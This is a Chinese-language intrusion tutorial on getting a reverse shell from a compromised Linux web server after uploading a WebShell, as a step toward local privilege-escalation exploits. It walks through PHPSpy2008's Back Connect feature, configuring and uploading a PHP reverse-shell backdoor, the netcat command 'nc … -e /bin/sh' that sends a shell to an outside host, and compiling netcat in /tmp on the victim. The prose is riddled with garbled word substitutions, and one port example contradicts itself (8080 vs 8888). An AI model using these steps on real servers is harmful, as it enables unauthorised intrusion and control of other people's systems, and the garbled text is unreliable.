Linux下通過WebShell反彈CmdShell,在網站處事器入侵提權進程中的應用比Windows情況下更廣更頻繁。Linux提權絕大部門都靠的是Local Exploit。WebShell一般都可以執行呼吁,可是溢出必需在可交互情況運行,不然假如直接在WebShell執行,縱然能溢出提權樂成,也沒法操作。因此必需要反彈一個Shell呼吁行窗口,在呼吁行終端下執行溢出舉辦提權。
利用PHP WebShell木馬反彈Shell
一般環境下,大大都PHP WebShell木馬后門都帶有的Back Connect成果彈回一個Shell。譬喻在PHPSpy2008木馬后門中,有一個Back Connect反彈毗連成果,可以反彈得到一個擔任當前WebShell權限的Shell呼吁窗口。
在利用Back Connect反彈毗連成果前,首先需要利用NC東西在當地監聽一個未利用的端口,譬喻監聽當地8888端口,執行如下呼吁:
nc -vv -l -p 8080
然后在WebShell的Back Connect反彈毗連成果頁中,會自動檢測本機的IP地點,在"Your IP"中顯示本機IP,在"Your Port"中輸入監聽的端口,這里為8080。然后選擇要利用的反彈毗連方法,PHPSpy2008提供了兩種反彈毗連方法,Perl和C,這里利用Perl反彈(圖1)。
圖1
配置完畢后,點擊"Start"按鈕,即可發送Shell窗口到監聽端口了。在NC監聽窗口中,可獲得一個Shell呼吁行窗口(圖2)。
圖2
除了PHPSpy2008之外,尚有一些專用的PHP反彈shell網頁后門。首先在當地用文本編輯器打開PHP反彈shell網頁后門文件,在個中找到如下代碼內容:
$yourip = "111.123.96.28";
$yourport = '8888';
圖3
修改配置個中的反彈IP地點111.123.96.28為本機IP地點,默認反彈端口為8888,可舉辦修改(圖3)。修改后生存文件,將其通過WebShell上傳。假設上傳后的鏈接地點為http://www.***.com/shell.php。然后在當地打開呼吁提示符窗口,執行如下呼吁:
nc -vv -l -p 8888
利用nc監聽當地的8888端口。在欣賞器中會見http://www.***.com/shell.php,在nc監聽的端口中,就可以得到一個從網站處事器上返返來的呼吁行Shell了。
利用NC反彈Shell
在舉辦Shell反彈時,有時會碰隨處事器不支持PHP可能WebShell無法樂成反彈Shell的環境,譬喻有的處事器只支持JSP,不支持PHP。此時,可以同樣回收Windows下的經典的NC反彈Shell要領。
在Windows下反彈CmdShell時,首先要在本機運行"nc -vv -l -p 端標語"監聽端口,然后在WebShell中執行"nc -e cmd.exe 監聽主機IP地點 端口",就可以反彈一個CmdShell。這個要領在Linux中仍然可行,只不外需要作一點小小的竄改。
--在本機監聽端口后,在WebShell運行nc反彈時,需要發送的是"/bin/sh",而不是cmd.exe,,這樣才夠反彈發送一個Linux下的Shell呼吁行窗口給監聽主機。譬喻執行如下呼吁:
nc 119.1.44.32 8888 -e /bin/sh
即可反彈一個Shell到IP地點為119.1.44.32的監聽主機的8888端口。
長途主機無NC東西時的辦理步伐
在利用NC反彈Shell時,還會遇到長途主機上不能直接執行nc,可能沒有安裝nc東西。遇到這樣的環境,可以給手工給長途主機安裝一個NC,較量利便的要領是,到http://netcat.sourceforge.net/download.php下載nc源碼,然后在當地Linux呆板上編譯成可執行措施后,再將編譯文件上傳到長途主機上。假如當地編譯的措施在長途主機上無法利用,可以直接把源碼傳上去后,在方針呆板上直接編譯。
假如需要在方針呆板上編譯NC的話,需要留意一些問題,因為在獲得Shell呼吁行窗口前,只能在WebShell里執行呼吁,一般每次只能執行一條,然后期待執行后的功效回顯。
別的,在編譯時需要留意措施執行路徑的問題。由于Linux下權限配置很是嚴格,縱然進攻者得到了WebShell,也大概無法直接在WEB網頁目次下寫入文件,只能在/tmp之類的文件夾中上傳寫入NC源文件(圖4)。
圖4
譬喻WebShell在/var/www/目次,那么在WebShell中執行呼吁默認的當前路徑都是/var/www/,假如netcat源碼包解壓在了/tmp/netcat-0.7.1文件夾,在編譯netcat舉辦make操縱時,由于當前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操縱時會墮落。辦理這個問題其實很簡樸,可以直接把切換路徑和make操縱兩句呼吁寫成一句,用分號離隔寫就可以了。
將netcat-0.7.1源文件上傳到可寫文件夾/tmp中后,在WebShell中編譯nc的操縱進程及呼吁如下:
cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
圖5
執行該呼吁后,可以將netcat-0.7.1源文件解壓到/tmp/netcat-0.7.1目次中(圖5)。然后再執行呼吁:
/tmp/netcat-0.7.1/configure
設置完畢后,再執行如下呼吁舉辦編譯:
cd /tmp/netcat-0.7.1;make
由于利用了分號,可同時執行兩條呼吁,將make跟在目次切換呼吁后頭,在編譯的時候就不會報錯了(圖6)。
圖6